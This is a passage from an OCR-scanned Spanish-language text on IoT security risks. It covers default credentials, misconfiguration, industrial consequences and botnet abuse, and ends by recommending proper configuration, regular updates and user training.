
desventajas que la hace vulnerable y propensa a ataques de ciberdelincuentes.

Algunos aspectos que deben considerarse al momento de la adquisicion
y puesta en produccién de los dispositivos loT, es que deben configurarse
inicialmente para que cumplan con ciertos requisitos de seguridad basado en
buenas practicas, y entre otros aspectos, deshabilitando puertos y servicios
innecesarios o inseguros, y modificando los usuarios y contrasefias que vienen

por defecto.

Una inadecuada configuracién en cualquiera de los componentes de un
ecosistema loT, puede generar brechas de seguridad que podrian ser explotadas
no solo dando la posibilidad de tener acceso a informacién confidencial, sino
también, en el entorno industrial podria dar lugar a consecuencias catastroéficas,
ya que podrian tener acceso a manipular informacion de sensores y actuadores
los cuales son vitales para gestionar los diferentes procesos en los que
intervienen productos quimicos, gases, manejo de presiones, cargas eléctricas,

etc.

En adicibn a las consecuencias mencionadas anteriormente, los
atacantes podrian convertir tales dispositivos vulnerables en componentes de
una botnet. Esto no solo hace que el rendimiento de los equipos infectados sea
muy inferior en base a las caracteristicas de hardware que presenta, sino que
también, permite al ciberdelincuente utilizarlos para realizar ataques mas
complejos. Entre otros, mineria de criptomonedas, spam/phishing y ataques de
denegacién de servicios distribuida provocando la disrupcién de la continuidad

operativa de una empresa.

En conclusién, si bien la tecnologia |oT permite la mejora de la eficiencia

en el entorno industrial a través de la automatizacién de diferentes procesos y
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mejora la calidad de vida de las personas a través de su inclusion en el ambito
hogarefio y de la salud, es indispensable gestionar a estos dispositivos
correctamente, configurandolos y actualizandolos periédicamente con el fin de
disminuir significativamente las vulnerabilidades que van surgiendo. Cabe
mencionar que, la capacitacidén y concientizacion de los usuarios es un elemento
crucial para preservar la seguridad de estas redes, ya que son los que trabajan
con ellas directamente y ante distintas anomalias pueden notificar con mayor

celeridad a los técnicos o areas que correspondan.
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